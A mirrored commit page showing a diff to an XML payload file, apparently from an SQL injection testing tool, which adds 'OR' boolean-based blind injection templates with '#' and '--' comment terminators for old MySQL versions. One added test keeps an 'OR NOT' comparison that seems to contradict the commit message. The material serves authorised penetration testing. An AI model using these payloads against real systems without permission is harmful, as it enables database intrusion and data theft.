Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 870f773

Browse files
committed
In some old versions of MySQL (perhaps others DBMS too) the NOT clause is not supported, hence we need also OR tests without NOT - tested and works like this
1 parent d2f102f commit 870f773

1 file changed

Lines changed: 56 additions & 3 deletions

File tree

xml/payloads.xml

Lines changed: 56 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -504,7 +504,7 @@ Formats:
504504
</test>
505505

506506
<test>
507-
<title>OR boolean-based blind - WHERE or HAVING clause</title>
507+
<title>OR NOT boolean-based blind - WHERE or HAVING clause</title>
508508
<stype>1</stype>
509509
<level>2</level>
510510
<risk>3</risk>
@@ -519,8 +519,24 @@ Formats:
519519
</response>
520520
</test>
521521

522+
<test>
523+
<title>OR boolean-based blind - WHERE or HAVING clause</title>
524+
<stype>1</stype>
525+
<level>2</level>
526+
<risk>3</risk>
527+
<clause>1</clause>
528+
<where>2</where>
529+
<vector>OR [INFERENCE]</vector>
530+
<request>
531+
<payload>OR [RANDNUM]=[RANDNUM]</payload>
532+
</request>
533+
<response>
534+
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
535+
</response>
536+
</test>
537+
522538
<test>
523-
<title>OR boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
539+
<title>OR NOT boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
524540
<stype>1</stype>
525541
<level>3</level>
526542
<risk>3</risk>
@@ -540,7 +556,27 @@ Formats:
540556
</test>
541557

542558
<test>
543-
<title>OR boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
559+
<title>OR boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
560+
<stype>1</stype>
561+
<level>3</level>
562+
<risk>3</risk>
563+
<clause>1</clause>
564+
<where>2</where>
565+
<vector>OR [INFERENCE]</vector>
566+
<request>
567+
<payload>OR [RANDNUM]=[RANDNUM]</payload>
568+
<comment>#</comment>
569+
</request>
570+
<response>
571+
<comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
572+
</response>
573+
<details>
574+
<dbms>MySQL</dbms>
575+
</details>
576+
</test>
577+
578+
<test>
579+
<title>OR NOT boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
544580
<stype>1</stype>
545581
<level>3</level>
546582
<risk>3</risk>
@@ -556,6 +592,23 @@ Formats:
556592
</response>
557593
</test>
558594

595+
<test>
596+
<title>OR boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
597+
<stype>1</stype>
598+
<level>3</level>
599+
<risk>3</risk>
600+
<clause>1</clause>
601+
<where>2</where>
602+
<vector>OR [INFERENCE]</vector>
603+
<request>
604+
<payload>OR [RANDNUM]=[RANDNUM]</payload>
605+
<comment>--</comment>
606+
</request>
607+
<response>
608+
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
609+
</response>
610+
</test>
611+
559612
<test>
560613
<title>MySQL boolean-based blind - WHERE or HAVING clause (RLIKE)</title>
561614
<stype>1</stype>

0 commit comments

Comments
 (0)